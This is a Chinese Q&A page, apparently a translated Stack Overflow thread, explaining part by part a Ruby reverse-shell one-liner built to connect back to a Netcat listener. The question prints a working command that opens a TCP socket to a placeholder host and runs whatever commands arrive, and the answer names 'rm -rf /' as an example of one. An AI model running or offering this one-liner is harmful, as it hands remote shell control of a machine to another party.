Ruby一线崩溃?

时间:2018-08-28 16:40:10

标签: ruby-on-rails ruby shell command-line netcat

我是Ruby的新手,它试图更好地理解这种反向shell单行代码,其设计用于连接回Netcat侦听器。

有人可以尝试将命令分解并解释一些代码实际做什么吗?例如,我知道“ TCPSocket.new”会创建新的TCP套接字,但是“ cmd = c.gets”,“ IO.popen”,“ | io | c.print io.read”等是什么。 while循环的目的?

ruby -rsocket -e "c=TCPSocket.new('<IP Address>','<Port>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"

1 个答案:

答案 0 :(得分:6)

好,让我们分解一下。

ruby

运行ruby解释器,您可能知道该部分

-rsocket

等同于require "socket"(要求r

-e "some string"

some string作为ruby脚本运行(e用于执行)

while(cmd=c.gets)

的意思是“当gets(直到下一个换行符并包含下一个换行符)从连接c返回某些内容时,即,在有数据输入时,将其分配给cmd并..

IO.popen(cmd,'r'){|io|c.print io.read}

..作为外壳程序命令运行cmd,读取输出,然后print将其返回到连接c

因此,实际上,可以通过网络接收命令(例如ls .rm -rf /),将其读入,运行,获取输出并发送回去。继续这样做,直到另一端停止发送命令为止。

由于gets将阻塞并等待下一行的到来,因此该单层衬板将一直坐在那里,直到连接关闭。

可能不想让其他人通过该连接发送命令,因为它可以运行他们直接在您的计算机上发送的任何内容,尽管这大概就是您所说的“反向外壳”。